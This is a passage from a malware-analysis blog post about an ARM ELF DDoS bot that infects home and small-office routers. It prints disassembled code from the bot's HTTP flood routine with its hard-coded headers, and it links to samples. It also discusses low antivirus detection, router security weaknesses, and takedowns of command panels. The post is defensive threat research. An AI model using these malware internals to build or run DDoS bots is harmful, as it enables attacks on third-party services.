.text:0x08580  BX   LR

5. The HTTP header used for DoS activity:

This is the function to be called when performing DoS by HTTP, I pasted it here as PoC of DDoS'er, please bear the length:

.text:0x0A548  LDR  R1 <--- " HTTP/1.1\r\n"
.text:0x0A54C  MOV  R2, #0xB
.text:0x0A550  ADD  R0, R8, R5
.text:0x0A554  BL   sub_0x0252B8
.text:0x0A558  ADD  R0, R5, #0xB
.text:0x0A55C  LDR  R1 <--- "Accept: text/html, application/xhtml+xml, */*\r\n"
.text:0x0A560  MOV  R2, #0x2F
.text:0x0A564  ADD  R0, R8, R0
.text:0x0A568  BL   sub_0x0252B8
.text:0x0A56C  ADD  R0, R5, #0x3A
.text:0x0A570  LDR  R1 <--- "Accept-Language: zh-CN\r\n"
                      "↑please noted this CHINESE character encoding↑"
.text:0x0A574  MOV  R2, #0x18
.text:0x0A578  ADD  R0, R8, R0
.text:0x0A57C  BL   sub_0x0252B8
.text:0x0A580  ADD  R0, R5, #0x52
.text:0x0A584  LDR  R1 <--- "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)\r\n"
.text:0x0A588  MOV  R2, #0x55
.text:0x0A58C  ADD  R0, R8, R0
.text:0x0A590  BL   sub_0x0252B8
.text:0x0A594  ADD  R0, R5, #0xA7
.text:0x0A598  LDR  R1 <--- "Accept-Encoding: gzip, deflate\r\n"
.text:0x0A59C  MOV  R2, #0x20
.text:0x0A5A0  ADD  R0, R8, R0
.text:0x0A5A4  BL   sub_0x0252B8
.text:0x0A5A8  ADD  R0, R5, #0xC7
.text:0x0A5AC  LDR  R1 <--- "Host: "
.text:0x0A5B0  MOV  R2, #6
.text:0x0A5B4  ADD  R0, R8, R0
.text:0x0A5B8  BL   sub_0x0252B8
.text:0x0A5BC  MOV  R0, R9
.text:0x0A5C0  BL   sub_0x024540
.text:0x0A5C4  ADD  R5, R5, #0xCD
.text:0x0A5C8  ADD  R4, R8, R5
.text:0x0A5CC  MOV  R2, R0
.text:0x0A5D0  MOV  R1, R9
.text:0x0A5D4  MOV  R0, R4
.text:0x0A5D8  BL   sub_0x0252B8
.text:0x0A5DC  MOV  R0, R9
.text:0x0A5E0  BL   sub_0x024540
.text:0x0A5E4  ADD  R5, R5, R0
.text:0x0A5E8  LDR  R1 <--- "\r\nConnection: Keep-Alive\r\n"
.text:0x0A5EC  MOV  R2, #0x1A
.text:0x0A5F0  ADD  R0, R8, R5
.text:0x0A5F4  BL   sub_0x0252B8
.text:0x0A5F8  ADD  R0, R5, #0x1A
.text:0x0A5FC  MOV  R2, #0x14
.text:0x0A600  LDR  R1 <--- "Pragma: no-cache\r\n\r\n"
.text:0x0A604  ADD  R0, R8, R0
.text:0x0A608  BL   sub_0x0252B8
.text:0x0A60C  MOV  R1, #1
.text:0x0A610  MOV  R0, #0xD
.text:0x0A614  BL   sub_0x01614C
.text:0x0A618  MOV  R0, R10
.text:0x0A61C  MOV  R1, R8
.text:0x0A620  ADD  R2, R5, #0x2E
.text:0x0A624  MOV  R3, #0
.text:0x0A628  BL   sub_0x0E1D0
   :     ;
.text:0x0A674  LDR  R1 <-- "GET "
.text:0x0A678  MOV  R2, #4
.text:0x0A67C  MOV  R0, R8
.text:0x0A680  BL   sub_0x0252B8

Detection ratio & sample

The detection ratio is very low, like..ZERO. Here's the evidence, please click to enlarge the image:

The VirusTotal's link is here-->[LINK]

This post is one of proof of concept that routers is actually aimed by the malware actors for one of some reasons, and the main purpose is because they are widely used all over the internet with having the global IP address, and also up and alive 364/7/24. For the crooks who are behind the malware describes in this case, owning many routers means having power of an "army of DoS bots" than can be powerful tool for an attack. We saw not only ARM architecture, but MIPS, PPC, MIPSEL, SuperH(SH) binaries are also spotted in the wild.

I am adding these project's sample in kernel mode, Will add the link shortly in here, please stay tune, I must clean up all of the garbage I made first. This is the link-->[HERE]

Conclusion & additional notes

It is up to you to defend your own router. As you can see no AV can detect these malware, it's over a week being there now. Please check your router user interface, make sure you are using the latest updates/firmware and make sure that your setting is correct and unchanged. Being skeptical during checking your router/gateway layer is very recommendable, and if you find anything unusual/suspicious please analyze it WHY and try not to let it go until you find a satisfactory answer for it. If you find it work and having no problem, backup the setting and save it right away.

The Intel x32 edition of this variant just was just spotted, analysis is here-->[LINK] <<-- you can see more details on source, compatibility, compilation etc.

The router version of ELF DDoS + backdoor malware is also spotted in the MIPS architercture, analysis is here-->[HERE] and in here-->[HERE]. The older version of the ARM ELF DDoS'er malware spotted is also available here-->[HERE].
The below tweet is the PoC that even PPC architecture is also aimed by DDoS'er malware too now (different actor & using "Tsunami" malware)

This is a warning of the true fact & evidence that the recent ELF malware coders are not only aiming x32 or x64 servers anymore, but routers too.

C++ reversing for the AES.DDOS

I just figured a good technique in open source to reverse the assembly code into the (close) original C++ codes, so far works fine under the known libraries and specific forms of ELF binary. I tested in AES.DDOS and worked perfectly fine. Below is the main() function of this malware (Linux/AES.DDoS) reversed engineered into the C++ code:

It's still in the test stage now, some manual adjustment is still needed, but it is much better than reading assembly. A good project for myself for this year.

Why SOHO routers are aimed for malware infection?

The excellent research conducted by ISE (independent security firm in Baltimore, Maryland) explained in their publishment here--[LINK], that:
"..discovered critical security vulnerabilities in numerous small office/home office (SOHO) routers and wireless access points. These vulnerabilities allow a remote attacker to take full control of the router's configuration settings; some allow a local attacker to bypass authentication directly and take control. "

As an illustration, ISE shows a matrix of vulnerability vectors for the evaluated known routers:

This shows us there is a weak security vector is aimed in SOHO router layer, and most of the houses & SOHO business are connected in the internet through these xDSL routers. We can not under-estimated the current volume of these routers, being up and alive in internet now. Maybe there's only a low percentage of alive routers are having the vulnerabilities mentioned, but please imagine how powerful a DDoS attack will be if a bad actor is successfully gaining access to control, say, 1% of overall alive xDSL SOHO routers. And please think what if your house or office routers are unknowingly participated into a DDoS or other attacks against a certain banks or a specific country in the world?

Additional: China ELF CNC & Web Panels Takedown

Among of the attackers we detected so far, China's bad actors are the most aggressive one. If the bad actors in China think that MMD won't do anything about their evil action, they can start to cry now, we tango'ed 25 29 ELF malware download panels panels (the counting is still rolling) as per announced below:

Stay safe, friends! #MalwareMustDie!